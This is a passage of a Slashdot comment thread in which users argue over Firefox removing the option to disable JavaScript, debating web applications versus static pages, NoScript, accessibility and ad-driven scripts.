The folly is assuming that the internet is still all "web pages" instead of applications. There are plenty of useful web applications around, and I develop one of them. There isn't a non-Javascript alternative to it, it has around 1.5MB of (unminified) Javascript code written by us (plus about the same for third-party frameworks) and relies on maybe a total of 4 actual HTML pages (index, a dedicated non-JS login form, and 2 content launchers), which usually do nothing except load various Javascript interfaces. This is a software-as-a-service platform, we develop and host the software and other companies and organizations pay us to set up an installation for them to use (and us to maintain).

If you want to run software, run it on your computer, not mine

You're the one using the interface, you execute it. I'm happy to execute all of the actual logic for the application on the server, but your browser is more than capable of rendering the interface. Even IE6 could handle this thing (slowly).

And anyway, there's very little that actually uses javascript for anything useful.

I hear that sentiment periodically. It's complete bullshit. Google's services are the obvious screaming example of useful Javascript. Hell, Google's push for faster Javascript in Chrome, which bled over to the other browsers after they got left in the dust by V8, is the reason why browsers are so fast with Javascript today. A prime example of Javascript making a site more usable is Facebook, regardless of your personal opinion of social networks in general or Facebook's corporate policies. Imagine if every time someone clicked the Like button, the entire page reloaded. That's obviously not usable. There are plenty of sites and applications that interact with users in similar ways (small individual actions on a much larger interface) where it would be stupid to not use Javascript to keep the data transfer and response times to a minimum.

Re:Solution in extensions

[Anonymous Coward]

Yes, online shopping and other forms-type stuff is typically programmed to require javascript, and too important to take chances with. No problem, I can make exceptions, and I do. Again, I use javascript as necessary, and when I deem it unnecessary, there's no reason not to turn it off.

Re:Solution in extensions

[Anonymous Coward]

Drop down menus can be created without JavaScript crap.

Unfortunately Slashdot has joined the ranks of websites that don't work very well for those of us that agree with "If you want to run software, run it on your computer, not mine, because I don't trust your code." Or at least those of us that also prefer to remain AC as we have long since lost the option to remain AC and use Slashdot's "Classic Discussion System" as that is available only via the member's preferences. The old discussion system was far superior in appearance and function to the present broken one and the scripted one as well. Classic was also far less annoying in its function. Curently sans scripting with Classic unavailable to ACs the comment strings are steadily blocked from access as their numbers increase up to some unknown limit.

NoScript is the primary reason for using Firefox even as it becomes continuously more horrendously bloated. I sincerely hope that if they ban its usage that the project is well forked to at least one that maintains the ability to selectively block scripting and hopefully trims the bloat as well. Ahh, if only clean coding would come back and from it the creation of many things including a new clean, very limited bloat, controlable browser.

So, will current Firefox derivatives maintain the off switch for scripting and the ability to run noscript? Are the putting in that security hole to benefit advertisers and/or the government? Or just the annoying crackers and their pet script kiddies? They going to develope a truely functional and lightweight real sandbox for these scripts> If not then maybe it is time to dust off Lynx and stay away from all the clueless rude sights demanding scripting. After all if there is nothing but one very wide open huge door then it opens to one big step down from the cliff. Now, where is that paraglider?

Re:Solution in extensions

[QuietLagoon]

As long as it doesn't break Noscript

Given Firefox's history of breaking plug-ins, why would you expect NoScript to continue to work?

Re:Solution in extensions

[Hatta]

There are plenty of useful web applications around, and I develop one of them.

I've never used a web app that was better than the native alternatives. Chances are if you built a native networked app with portable code your app would be a lot better.

your browser is more than capable of rendering the interface. Even IE6 could handle this thing (slowly).

Speed wasn't my complaint. Security is. But it is worth noticing that browsing gets a lot faster when javascript is turned off.

Google's services are the obvious screaming example of useful Javascript

Google works just fine without javascript. The rest of google's stuff would be better implemented by a traditional client server model.

Re:Solution in extensions

[kwbauer]

I believe a poster above had something to say about living in the past.

Re:Solution in extensions

[Intrepid imaginaut]

People seem to be forgetting that javascript can break a lot of accessibility readers. Everything about HTML, CSS, etc., was about separating content from layout. Javascript shits on that entire model, as does Java, ActiveX, and most other plugins.

That's because it was a shit model. Clear, yes, simple yes, all that useful for doing stuff, not so much.

Web developers should continue to create websites that don't require javascript, and we shouldn't be in such a hurry to move away from that.

99% of web development is done for someone else. If clients want to pay extra to accommodate the few people who won't use JS, that's up to the clients.

The promise of the internet was accessibility, the ability to freely share information, and to connect everything together.

This push towards app-ification of the internet, the W3C caving to DRM in HTML5... it's after the very heart and soul of the internet. The internet we built, as hackers, as creatives, as professors, academics, researchers, scientists... it's being gutted. And Firefox, the white horse of the "free" internet, in it's 11th hour of need, chooses this?

They should be ashamed.

Such hyperbole, you should write a sonnet. I do agree it was pointless and counterproductive of the FF team to remove the option though, and I'm a big fan of FF. It's not as though people were accidentally unchecking the javascript box as a regular event.

Re:Solution in extensions

[kwbauer]

If you're so damn smart, why don't you just build your own browser and stop worrying about what somebody else is doing. After all, everything you need is openly published for you.

Re:Solution in extensions

[Anonymous Coward]

I turn on Javascript when there's a reason to turn it on (your application would be a good example), but even /. doesn't need Javascript, so I leave it disabled for this site. Whenever I come to /. without logging in, I'm amazed at how slow everything is, and how you can't read everything (-1 comments don't come to the fore when you select -1 as your view threshold).

Re:Solution in extensions

[johnlcallaway]

The other folly is web authors expecting people to just let code on some unknown server run on my box. If something requires javascript, the author should have the decency to detect it is disabled and either fail gracefully or send the user to a page saying javascript is required. A large part of javascript out there is simply 'pretty printing' or other 'kool' type of manipulation that isn't necessary at all. I'll gladly give up the automatic mouse over pop-ups, annoying text boxes that travel down screen, and pop-up/roll-over menus for standard HTML. Too many web page authors like to use things just because they are cool instead of things that actually add value. Sure, I like calendars that are clickable. But I don't have to have them, just let me enter the god damn date and accept several different formats instead of being lazy and forcing me to use a calendar because someone is too lazy to actually have to code something.

Sure .. Goggle requires javascript. But I'll be damned if I'll let doubleclick or a host of other servers run their javascript on my box whenever I visit a web page, even if I trust it. If NoScript stops working, I will be searching for alternatives. I browse with NoScript and often run into pages that fail miserable. But I can select the list of servers I trust and reload if I choose to.

Or not use their web site at all.

It's all anecdotal, but it seems that I get far fewer virus infections than many people that just blindly turn it on.

Re:Solution in extensions

[kwbauer]

No, its still there unless you altered it. "The internet we built, as hackers, as creatives, as professors, academics, researchers, scientists... it's being gutted." No! No! No! Nobody is taking away your ability to create your sites as you see fit. Just because a browser has no way to turn off JS does not mean that sites you author have to send any JS to the browser.

As for the internet others built and you used for (like a parasite), stop complaining, it was never yours in the first place.

Re:Solution in extensions

[h4rr4r]

I guess then I just tell you to get off my lawn?

It was just easier to find information before web2.0. I can't even count the times I have had to use the google cache without images to get the information I needed that was hidden behind all kinds of web2.0 gibberish.

I like this future a lot, I hate what it did to the informative parts of the web.

Re:Solution in extensions

[Anonymous Coward]

I strongly disagree with the sentiment. If it's folly it is because too many websites a) use javascript gratuitously, b) gratuitously fail without javascript, c) fail to degrade graciously, and d) taking options away from users provides even less incentive to fix the mess. So this is the wrong fix, in the wrong place.

The key ought to be content, not dancing rodents. In that sense, noscript and its ilk are useful, but only because the browser proper is lacking so much. And now it will be lacking even more.

Re:Solution in extensions

[phantomfive]

People seem to be forgetting that javascript can break a lot of accessibility readers.

As soon as there are laws allowing people to sue for inaccessible websites (and there will be such laws), then this problem will be fixed.

Re:Solution in extensions

[Obfuscant]

The folly is assuming that the internet is still all "web pages" instead of applications.

If that's your assumption, that's your problem. I come from a time before "the web" and the Internet WAS applications. And now we have an application called a "web browser" whose job is to render a MARKUP language, not be a remote compute server for people who want to provide content that looks exactly like they want it to look and do it without consuming CPU cycles on their precious servers. The comment about turning javascript off on a browser being as stupid as turning HTML off is just ridiculous. The browser's job is to render HTML. It should be able to do that without requiring javascript on the client.

The folly is assuming that web pages have to be applications.

Google's services are the obvious screaming example of useful Javascript.

I can remember the days before javascript and we still had search engines. We had email. We had message systems. We didn't need javascript to do cutesy crap like ... whatever the cutesy crap is that it commonly used for. Like limiting the user's ability to do things, or doing things just because the mouse rolled over something. Sorry, if I want your button to do something, I'll click on it. That's why it is a button.

Imagine if every time someone clicked the Like button, the entire page reloaded. That's obviously not usable.

So the argument in favor of making javascript mandatory is so that people who click 'like' buttons won't be inconvenienced by a slower "web experience"? Will the eternal September never end?

Re:Solution in extensions

[Algae_94]

Why don't you put something on your index page that detects if javascript is enabled and show a message that it is required. There are plenty of sites that are perfectly useable without javascript enabled. More importantly to me, there are even more sites that can be useable if I allow scripts from their domain, but still block scripts from other domains.

Re:Solution in extensions

[MrEricSir]

Everything about HTML, CSS, etc., was about separating content from layout. Javascript shits on that entire model, as does Java, ActiveX, and most other plugins.

Considering how common Javascript MVC models have become in the past few years, that isn't even close to being true anymore.

Re:Solution in extensions

[Anonymous Coward]

I'm coming more and more to think of a multiplicity of webs. The web of devices. The web of apps. The web of documents.

The latter is the one that really needs to function without JavaScript and CSS. Think of the web of documents as a giant, decentralized public library. Search and URI's turn that library into a database. URI's are the database keys.

The web of documents needs to do certain things to work. The content of the document needs to be included in the first http response. Or it should be easily discoverable via that response. For instance: The web page should not be a stub that loads the article content via JS. The article text should be there already. An image might be included in a web page via the img tag... that images url should be in the html document that is returned by that first http response. It should not be inserted into the DOM by JS on ready.

I'm not saying that JS is forbidden on the web of documents. Only that is is a progressive enhancement on top of this giant decentralized library that only needs http to work.

As for the web of apps... if this is a piece of software that people are going to use to do work/play, rather than reference content I think it's reasonable to require dependencies. These are users who are engaged and invested in having this work and are willing to do satisfy some requirements.

Re: Solution in extensions

[Anonymous Coward]

The parasites are people who sling some JavaScript shit all over the web and think they are "coders."

Grow up and learn to program in a real language. Stop strewing your processes all over our memory maps.

Re:Solution in extensions

[drinkypoo]

The folly is in writing pages that cannot be viewed without javascript.

The folly is assuming that the internet is still all "web pages" instead of applications.

The irony is that you're assuming that he's not making a distinction between classic pages of content and applications when he says "pages".

Google's services are the obvious screaming example of useful Javascript.

Google is a perfect example because their primary namesake service works without Javascript. The other services would be a PITA to implement fallback on, you'd basically be implementing them all over again, so there's at least a good excuse for not handling that case. What I think most people are upset about (here I go making assumptions) is pages of content that don't need Javascript which are designed to require Javascript for one reason or another — usually either as a means of forcing advertisements on viewers, or because it's easier than doing the same thing in CSS, even though that is completely possible.

There are plenty of sites and applications that interact with users in similar ways (small individual actions on a much larger interface) where it would be stupid to not use Javascript to keep the data transfer and response times to a minimum.

What's stupid is not using a content management system which can gracefully degrade to HTML. Even Drupal and Wordpress manage to achieve this in most cases. My website has AJAX page loading and all that fancy crap, but it also works perfectly fine if you disable javascript. It just takes more full page loads. These things exist and you don't even need to pay for them if you're cheap, which is a condition with which I can identify. If your whole site depends on quick response to a feature (to use your example, the "like" button on facebook) then you have a clear reason to require Javascript. But contrarily, a newspaper which fails to show me news content when I disable Javascript is demonstrating to me that their function is not to show me news, but to show me advertisements. This is not shocking, but it disinterests me in their content.

TL;DR if your webpage can reasonably degrade to plain HTML+CSS (or even HTML) and it doesn't, then you're just making bullshit excuses; if it reasonably requires Javascript, then users will reasonably enable Javascript.

Re:Solution in extensions

[pla]

Web developers should continue to create websites that don't require javascript, and we shouldn't be in such a hurry to move away from that.

I see your point, but absolutely could not disagree more.

Since literally the Dawn of the Web, I have ranted against people calling themselves web "developers" for performing a task that involved little more than multimedia-enhanced digital typesetting. In the past few years, however, HTML5 and Javascript have finally made the web browser a legitimate, fully-functional platform we can develop for (and even on). I can finally have pixel-level control for 2d, WebGL support, AudioContexts, native gamepad input support... And all in a not-too-painfully-slow "native" language (not fast, but passable), that works on any device running a modern web browser, without needing to write custom plugins for every major OS and device I want to target.

And speaking of plugins, "native" web development now makes the entire concept obsolete. Flash? Java? PDF (or a million other media format) viewers? See ya, and good riddance!


The promise of the internet was accessibility, the ability to freely share information, and to connect everything together.

If you want Gopher, by all means use Gopher (hell, I still use IRC, which works perfectly well for plain-text communication). The "web", however, has become far, far more than merely static HTML2 pages served over HTTP.

Re:Solution in extensions

[Myopic]

protip: rusty ones are scarier

Re:Solution in extensions

[Myopic]

If you don't want to use basic web tech, then don't use the web. Go read a book.

Re:Solution in extensions

[UnderCoverPenguin]

People seem to be forgetting that javascript can break a lot of accessibility readers. Everything about HTML, CSS, etc., was about separating content from layout. Javascript shits on that entire model, as does Java, ActiveX, and most other plugins.

That's because it was a shit model. Clear, yes, simple yes, all that useful for doing stuff, not so much.

Separating content and layout still makes sense. Not all JS "shits" on that separation.

One place where that makes sense is with screen size. Even in the largest phones, screens are cramped, so you want to devote a higher percentage to content. Tablets can usually all more screen area for navigation and other non-content, and desktop displays even more.

There are many other uses, but I'll just mention the one.

(To head off comments about desktop PCs being in decline, I will point out that the ability to connect a phone or tablet to a larger display is often very helpful. I didn't get a chance to ask about the phone, but one visiting engineer made a presentation in our office directly from his phone by connecting it to the conference room's 60 inch (152 cm) wall mounted display, then used the phone's display like a trackpad.)

Re:Solution in extensions

[Anonymous Coward]

People seem to be forgetting that javascript can break a lot of accessibility readers.

That's BS. You can write an accessible website that uses javascript and you can write an inaccessible one that doesn't use javascript.

You don't get accessibility for free, you actually have to design for it.

Re:Solution in extensions

[girlintraining]

As for the internet others built and you used for (like a parasite), stop complaining, it was never yours in the first place.

You're right. It was meant for everyone. The ultimate expression of democracy, and freedom of information... not parasites like you who are only interested in money and your own selfish desires. But like so many other communication mediums to come before it... it was filled with promise, but ultimately corrupted by people like you. The printing press was supposed to bring education and knowledge to the masses -- and yet the first thing published was the bible. Books filled with knowledge were burned, and the presses themselves subjugated by kings and royals to spread only messages they deemed appropriate. It pushed out corrupted religious texts to support the monarchy. Radio brought culture and news to the world. It was corrupted into endless advertisements and propaganda. Television was promised as a way of showing people more of the world, educating them about it. It was corrupted into rigged competitions, empty entertainment, and yet more sophisticated propaganda.

And now the same fate has befallen the internet. I suppose I can't blame you for throwing yourself in with their lot... they have historical precident on their side. But let us be clear: The inventors wanted none of it. They wanted something new. Such is the beginning of all new communications... and this, is their end. Corrupted by small minded men like you. Destroyed, perverted, corrupted into yet another tool to enslave the masses, restrict access to their own power, their own potential... all in the name of serving the material desires of a handful of people.

Well, forgive me, young king, for although I have precious little hope of changing several thousand years of human slavery into freedom and enlightenment... I believe it's a worthier cause by far than the chance to collect the crumbs the status quo would have me eat in exchange for my services to them.

People deserve better than petty kings like you. They deserve to be kings themselves, to master their own fate. The internet is still the best chance they have at that. Now get the fuck out of my way... there's still work to do.

Re:Solution in extensions

[Anonymous Coward]

There is no shit model. There is no model period.
When people left the internet to develop on it's own, technologies emerged and competed for users. The good ones stayed, the bad ones became history.
Today, we have all these "leaders", W3C with their standards, Mozilla with Firefox, Google with Chrome, people that actually have a voice and can make their will felt on the web, and these people are all following their own private agendas.
They're the ones screwing us over by having power of the internet and trying to use it. Good intentions or not, the internet thrived because it's development was guided by the users, not someone trying to please a third party, their own limited pool of users, or their investors.

Re:Solution in extensions

[Anonymous Coward]

The folly is assuming that the internet is still all "web pages" instead of applications.

Actually, the real problem is not realizing that the application part is on the server. The browser renders web pages which you use to interact with the application. Therefore the visible "internet" literally is all web pages.

Re: Solution in extensions

[Anonymous Coward]

Will the eternal September never end?

No, it will never end.

Tautologically yours,
AC

Re:Solution in extensions

[ahabswhale]

+1

I'm fine with this so long as noscript can still disable JS for whatever sites I specify (which is all until I whitelist them). In fact, this is the main reason I still use firefox at all. If this goes away, then for me there's really no point in using firefox any longer.

Re:Solution in extensions

[Anonymous Coward]

You have no idea how software development works.

Yes, I could write a native app and installer for windows, linux, macos. And then the 32 vs 64 bit versions of them. And all of the dependencies for older versions and newer versions of each platform. And then implement an updater process so that they all get the latest version every time they use it since due to the number of third party libraries I'd need to include it'd have to be rebuilt several times a week to stay up to date even if my code never changes. And then write a gui vs silent installer so that both individuals and sysadmins at large companies can install it.

Or I can just assume they didn't disable javascript in their web browser.

Re:Solution in extensions

[ahabswhale]

I hate to tell you this but if you want a website that's actually modern and can compete with similar websites, you HAVE to use javascript. And frankly, most companies don't have the cash to spend on supporting a non-JS version of their website. Accessibility readers have to move with the technology or get standards implemented that allow them to do so.

Re:Solution in extensions

[amicusNYCL]

I've never used a web app that was better than the native alternatives. Chances are if you built a native networked app with portable code your app would be a lot better.

Thanks, I'll keep that in mind for our online university system. It's always helpful to get fundamental architecture suggestions from any random person who doesn't know the requirements. You might enjoy producing an application that will work on 99% of operating systems currently in use and keeping that thing updated, but I think I'll stick to a model that doesn't depend on the OS or the users to update their clients.

Speed wasn't my complaint. Security is. But it is worth noticing that browsing gets a lot faster when javascript is turned off.

That sort of depends what you're doing. Going back to the Facebook example, it would use a ridiculous amount of bandwidth and time if it had to reload the entire page and your news feed if you clicked any Like button or added any comment. We can also compare Google Map's image dragging functionality with a map where you have to click a direction that you want to go, then the page has to reload. Browsing speed is about a lot more than the initial page load.

The rest of google's stuff would be better implemented by a traditional client server model.

Are you suggesting that Google move things like Maps and Gmail to standalone applications? Google Earth already exists, that doesn't stop people from using Maps in other more convenient ways. But you're suggesting there's no place for a responsive online mail client? In this case "traditional" means old technology, there are better ways to do things now.

Re:Solution in extensions

[amicusNYCL]

I agree with most of that, and our application does display a notice if Javascript is disabled. And doubleclick has a permanent place on my browser's black list, most advertisers do. I think the goal of an advertiser is take anything cool and useful and shit all over it.

Re:Solution in extensions

[BitZtream]

he promise of the internet was accessibility, the ability to freely share information, and to connect everything together.

You use that word differently that most of the rest of the world.

Accessibility is generally meant to mean able to access by the majority of the population, not 'every living soul, regardless of their disability, have full access!

You are being ridiculous and wanting to hold back the majority for a minority. No. Sorry, the world doesn't work that way.

This push towards app-ification of the internet, the W3C caving to DRM in HTML5... it's after the very heart and soul of the internet. The internet we built, as hackers, as creatives, as professors, academics, researchers, scientists... it's being gutted. And Firefox, the white horse of the "free" internet, in it's 11th hour of need, chooses this?

So ... you have a political agenda where no one should be allowed to control access to their own works because you don't like not being to have whatever you want whenever you want without paying ... Cut off your nose to spite your own face. Freedom, means freedom of choice. Firefox supporting DRM gives you the choice between sites that want to use DRM and those that don't.

If Firefox decides no DRM ... then you simply have no choice to visit those sites. You lose freedom.

You are an unrealistic idealist at best, more likely just a loud mouth freeloader. You didn't help build the Internet. You sat around talking about how your perfectly little world would be while the rest of the world built the Internet ... which is 100% control by PRM, like it or not. Physical Rights Management,. deal with it.

Also deal with the fact that you actually do not get to tell others how they share their stuff. Its not your stuff.

Re:Solution in extensions

[hjf]

OK, what exactly are you talking about?

The "web 2.0" buzzword meant "people generating content". People (as in: casual web users) have been generating content since forever (Geocities, for example). The difference is, Web 2.0 allows any idiot to do it. Comment forms, video upload, even image macro generators. We could say, the difference between "web 2.0" and the 90s is that you get to post your content in a conformist one-size-fits-all container, and give up your rights for it, along with your privacy (Facebook).

I think you're confused in the sense that "Web 2.0" was the main driving force of "new technologies" like CSS and Javascript - which are nothing new. But back in the 90s, everyone was using a ton of Tables and "shims" (1x1 transparent gifs) to layout content. CSS and HTML4 eliminated that bullshit. Sure: CSS brought a whole new set of problems (browser incompatibilities), but the "hacks" needed to make IE vs FF vs Chrome work are done behind the scenes.

Actually, a good "modern" website *SHOULD* be correctly visible without it's corresponding CSS (as per W3C recommendations. Also see: semantic web). The problem is that, sometimes, it's tricky to style a document in such a way. But anyway, google should be able to index the HTML properly, much easier than back when your content was scattered along a ton of tables.

Basically, "web 2.0" and "web 2.0-style design" are different things. Latter one being flat colors and rounded edges - which are out of style now, having moved to flat squares with drop shadows over bright colorful backgrounds.

Re:Solution in extensions

[amicusNYCL]

And now we have an application called a "web browser" whose job is to render a MARKUP language, not be a remote compute server for people who want to provide content that looks exactly like they want it to look and do it without consuming CPU cycles on their precious servers.

That's a pretty Mosaic-era view of the internet. Browsers are about a lot more than rendering HTML these days. I'm currently working on a project that uses HTML5 video and audio (with a fallback to Flash), interactions via Javascript, loading content in the background, and it will dynamically resize and reorganize itself to fit on the client's device regardless of resolution or orientation. Users just see a training course, they don't realize that it will work on any device. Layout of the interface should be the browser's job, not the server's. The browser knows what it is capable of, it knows its size and orientation, so let it figure out the best way to display the content. It's not about precious CPU cycles, it's about an efficient product. There's no reason for the server to mandate to your browser that it displays the content in a specific way, the browser can figure out how to display it. Hell, that's specifically one of the browser's jobs.

The folly is assuming that web pages have to be applications.

I'm not making that assumption. There is a place for web pages, and a place for web applications. They are two different things and the rules (like having it degrade gracefully without Javascript) are different. The rules that apply to web sites do not necessarily apply to web applications. You seem to think that everything should be a web site, and that's not the case. That used to be the case, but it's not true any more.

whatever the cutesy crap is that it commonly used for

Right, cutesy things like zooming and dragging a map around without waiting for the entire page to refresh every time you do any single little action.

So the argument in favor of making javascript mandatory is so that people who click 'like' buttons won't be inconvenienced by a slower "web experience"?

No, that's not the argument. That's a single well-known example of why micro transactions (like clicking a single button to send a single piece of data) should not require the entire interface to refresh.

Re:Solution in extensions

[BitZtream]

HTML is a form of code. As is ascii. Its all interpreted and used to control the monitor in some way.

Re:Solution in extensions

[amicusNYCL]

Why don't you put something on your index page that detects if javascript is enabled and show a message that it is required.

We do. There's even code to check requirements on the server also, from back when we weren't sure if we would sell the application for use on other servers.

More importantly to me, there are even more sites that can be useable if I allow scripts from their domain, but still block scripts from other domains.

We don't pull anything in from any other domain, we aren't an advertising platform (nor do we provide our platform for use by advertisers). Everything comes from the same domain, whatever the customer chooses. They can choose to integrate Google Analytics, but if the users decides to block that it's not going to affect the rest of the application.

Re:Solution in extensions

[Anonymous Coward]

If it breaks NoScript I'm going to get a shiny new pitchfork and then visit the people who decided to do this.

If it breaks NoScript I hope somebody forks Firefox. Pitchfork sounds like a cool name.

Re:Solution in extensions

[Anonymous Coward]

There's an extension to save your form data. https://addons.mozilla.org/en-us/firefox/addon/lazarus-form-recovery/

Re:Solution in extensions

[amicusNYCL]

The application is actually on the server, correct, it has multiple interfaces that people can use to interact with it. But I would suggest that the Javascript interface code is almost an entire application in its own right, even if it doesn't persist its own data. It's an application that is an interface, to consume data from another application.

Re:Solution in extensions

[interkin3tic]

Those are problems with javascript being used on the websites, not being on by default in the browser. Firefox having JS obligatory doesn't mean someone else's braille reader is broken.

Judging by how many websites don't work at all until I start allowing scripts in noscript, the battle has been lost, firefox is just admitting that it's a reality.

Re:Solution in extensions

[Arker]

Googles push for javascript is one of the things that has made them progressively less useful over the past decade.

I dont know what your 'web app' is and I wont even assume that it's garbage (although experience tells me that is very likely) - I will assume it is very useful to your customers. Your customers should understand that and not have a problem following directions to use the browser you prefer and whitelist your app so they can run it.

But no browser should be configured to let something like that run by default.

Re:Solution in extensions

[keytoe]

It's all anecdotal, but it seems that I get far fewer virus infections than many people that just blindly turn it on.

That's not because you disable JavaScript, it's because you're the kind of person that disables JavaScript.

Re:Solution in extensions

[Anonymous Coward]

Complaining about the "app-ification of the internet" is like complaining about gay marriage, or Snuggies: if that is what the consumer wants, then that is what the market will build.

People may not know what they think of their data/work-product stored exclusively in the cloud (google docs/MS office in the cloud), but one thing that consumers have made loud-n-clear: they want advanced functionality available to them everywhere! They don't want to have to lug their laptop to do something more advanced than reading static HTML pages, they want to be able to use their tablet/phone/home-computer/work-computer/friends-computer/hotel-computer to access functionality that is important to them. Forgot to schedule a recording of that awesome documentary you heard about? Jump online and use the fully-functional web-app to manage your home DVR from anywhere in the world. People want it, and businesses are delivering it.

Re:Solution in extensions

[Arker]

Eh, it's actually both.

There's an epidemic of 'drive-by' infections lately. They invariably arrive via an entry in the tangle of scripts that are served out from third party ad servers. Simply blocking third party javascript virtually eliminates that threat.

Re:Solution in extensions

[reluctantjoiner]

It's not pure nostalgia for pre "web 2.0". We're moving further away from the ideal of separating content and presentation. This whole story is a consequence of turning the web from documents to application delivery, except that the applications aren't quite as good as their desktop equivalents. That would be fine if the applications were truly cross platform, but you still encounter sites that don't work properly on all browsers. Pages that go "oh sorry some unrecoverable error occurred: Please reload".

You can develop some nifty things with AJAX, but all it boils down to is a cool hack, because the restrictions are largely artificial, incurred as a consequence of deciding on a web application. We/re slowly moving towards a stable platform by adding layers to hide the complexity and browser differences. But all we're really doing is plugging holes in a leaky abstraction.

Re:Solution in extensions

[X0563511]

People seem to be forgetting that javascript can break a lot of accessibility readers. Everything about HTML, CSS, etc., was about separating content from layout. Javascript shits on that entire model, as does Java, ActiveX, and most other plugins.

That's because it was a shit model. Clear, yes, simple yes, all that useful for doing stuff, not so much.

You seem to forget that HTML, CSS, etc is for webpages, not applications.

If you don't like what HTML, CSS, etc model and want your stuff to behave like an application... then write a fucking application instead! ... and get the hell off my lawn, too.

Re:Solution in extensions

[X0563511]

Just sharpen the tip of the tines so they shine. You thought rusty was scary, but rusty but recently sharpened? That gives you a whole extra level to work with.

Re:Solution in extensions

[reluctantjoiner]

Quick; portable; reliable. Pick any two.

Re:Solution in extensions

[X0563511]

That's why they call the Eternal September eternal...

Re:Solution in extensions

[X0563511]

Get off my lawn. There's a difference between a document and an application, and I damn well would prefer that difference to remain.

Re:Solution in extensions

[Threni]

Speak for yourself. We want appification. The old internet sucked. Javascript compiles to assembly in some situations. I want that, not some shit about accessibility which doesn't interest me. You need that, you go get a book with big letters in it.

Re:Solution in extensions

[Bill_the_Engineer]

It would be much easier for him to simply stop using firefox and switch to a different browser. Mozilla needs to keep this in mind.

Re:Solution in extensions

[Anonymous Coward]

I love it when lay people give out utter bullshit as fact.

Re:Solution in extensions

[Bill_the_Engineer]

Don't forget the blazing torch. Frankenstein's monster was more afraid of the torches than the pitchforks. Besides it's traditional.

Re:Solution in extensions

[GrunthosThePoet]

You dont want a pitchfork, you want a spoon! If it was good enough for the Sherif of Nottingham, its good enough for me.

Re:Solution in extensions

[Anonymous Coward]

For stuff like that rather than try and guess what it needs and risk it not working anyway I just switch to Chromium in incognito mode, I've even got an extension that enables me to easily load pages and links in Chromium.

Re:Solution in extensions

[mrchaotica]

A lot of sites seem to get built these days that assume the user has a way to trigger onmouseover events. This isn't necessarily true.

And not just for blind folks either, but for touchscreens too!

Re:Solution in extensions

[imsabbel]

Get over yourself, wannabe oldtimer.

Even postscript was turing-complete, and it is sure as hell older than you.

Re:Solution in extensions

[Anonymous Coward]

The internet is becoming "app-ified" because users want their websites to do more, to load faster, to not have "flicker" whenever the page has to change something... The "old way" of websites is as dead as Geocities, because if we web developers actually designed them that way, our users/clients would never be happy.

Our field of expertise changes very rapidly, and what was good 10 years ago is not good now, just like what's good now will not be good 10 years from now. We have to adapt and stay up on the technology and the user expectations of that technology. Staying stuck "in the old" is BAD, not GOOD for us.

Re:Solution in extensions

[Toad-san]

Yep, I too am burning joss that NoScript will still work.

If it doesn't .. I'm gone to whatever browser lets me disable Java, sorry 'bout that, Firefox.

Re:Solution in extensions

[hobarrera]

Maybe it's time screen readers caught up.
If lots of text was added to a page, why can't it be read? The screen reader should deal with the browser's DOM, not the HTML.

Sure, there's plenty of sites that do stupid things (like creating a canvas with vectors to render pretty fonts), but let's not shift all the blame to JS devs/apps, screen readers need to stay current as well.

Re:Solution in extensions

[Anonymous Coward]

And tell me, why do we need DOM manipulation? Why can't sites just send fucking static content? I don't want green frogs or stupid videos all over the place and certainly not at the cost of my privacy and security issues. Listen up, you people working in this business. Stop right now.

Re:Solution in extensions

[brickmack]

I don't think you know what web 2.0 means.

Re:Solution in extensions

[amicusNYCL]

Your customers should understand that and not have a problem following directions to use the browser you prefer and whitelist your app so they can run it.

Man, I wish we had that much influence over the customers. Every time we manage to develop something cool, the lowest supported version of IE has to inevitably come along and crap all over it. My job would be so much easier if corporate users could install an alternative browser.

Re:Solution in extensions

[kesuki]

i know quite a few people who use noscript. they all swear by it, and when forced to live without it they get cranky. an you better believe if a hacker could hack them they would because they have high social networking groups and if malware got on their feed many many people would blindly follow the link and then blame the people i know (sorta know acquaintances really)

Re:Solution in extensions

[Anonymous Coward]

The Ghostery plugin can block all those privacy invading scripts and more

Re:Solution in extensions

[johnlcallaway]

I wish I could mod you up just for on that last sentence!

Re:Solution in extensions

[Tablizer]

That's because it was a shit model.

Let's fix it with a better "remote" GUI protocol/standard so that we don't have to micromanage and reinvent common GUI idioms via JavaScript & DOM.

Re:Solution in extensions

[Anonymous Coward]

That's because it was a shit model. Clear, yes, simple yes, all that useful for doing stuff, not so much.

You mean to imply that the situation with javascript shitting on it actually improves it? Then I disagree.

If clients want to pay extra to accommodate the few people who won't use JS, that's up to the clients.

I'm sorry, but no. Unless you believe that "web development" is indeed a monkey job best outsourced to the cheapest supplier of monkey labour. If you go any further at all, adding design, a "user experience", content consultancy, or whatever, this sort of thing suddenly is part of the duties inherent in advising the client.

I'd also say it's the duty of the developer to pick approaches that are reasonably close to the minimum required complexity, but that also is regularly flaunted. It's often like they were in a contest to see how much crap they could load into the browser and still get something showing. There are a lot of hidden costs associated with that, meaning that the client could be paying less but the developer isn't being honest, even by omission.

Plus, with the massive use of frameworks these days, this sort of thing could've easily been incorporated from the start. Where it wasn't, it's the framework developers that've been negligent.

And yes, if the majority of websites fail in this regard, then the majority of webmonkeys have failed to do their jobs properly. This isn't an unusual state of affairs in end-user computing, mind. Just look at that very large, convicted monopolist, vendor and their security track record, for example. If the majority of websites are in the wrong, then that majority does not make them right. So sorry.

Re:Solution in extensions

[Obfuscant]

That's a pretty Mosaic-era view of the internet.

No, that's a pretty HTML view of web browsers. Web browsers aren't "the internet". It says a lot about you that you'd think they are.

Users just see a training course, they don't realize that it will work on any device.

If it has all the stuff you claim, then it won't work on "any device". It will work on the ones you want to support, fail miserably on everything you don't care about. That was why HTML existed, and even though it wouldn't always do the same thing on every browser, the chances were very good that it wouldn't simply puke and give the user nothing at all. I lost count a long time ago of all the websites I went to that decided to have some complicated garbage on their main page that did absolutely nothing unless you had all the right plugins and were using the right browser. Not even a simple link to get past that one page, and no hint how to get anything else from the site.

You seem to think that everything should be a web site,

Absolute nonsense, and I never said anything even close to that. In fact, I think there are a lot of things that should NOT be web sites.

That's a single well-known example of why micro transactions (like clicking a single button to send a single piece of data) should not require the entire interface to refresh.

In other words, javascript is mandatory so that people who click 'like' buttons won't be inconvenienced by a slower "web experience". Oh, my, the page refreshed. How awful. We must make javascript mandatory so I won't have a poorer experience.

Re:Solution in extensions

[Intrepid imaginaut]

JS is a bit too deeply entrenched to be dislodged at this point I reckon. Still, you can go a long way with some abstraction. Bootstrap is halfway there, or most of the way there, as are several competing frameworks although that results in a few too many layers of removal from the underlying scripts, themselves pretty far from the code and bare iron, plus it leads to lots of same-looking sites. The web is in all probability going to end up as a macrocosm of wikipedia, complication built upon complication until there's just no way back.

Eh as long as someone's willing to pay people for it, why not.

Re:Solution in extensions

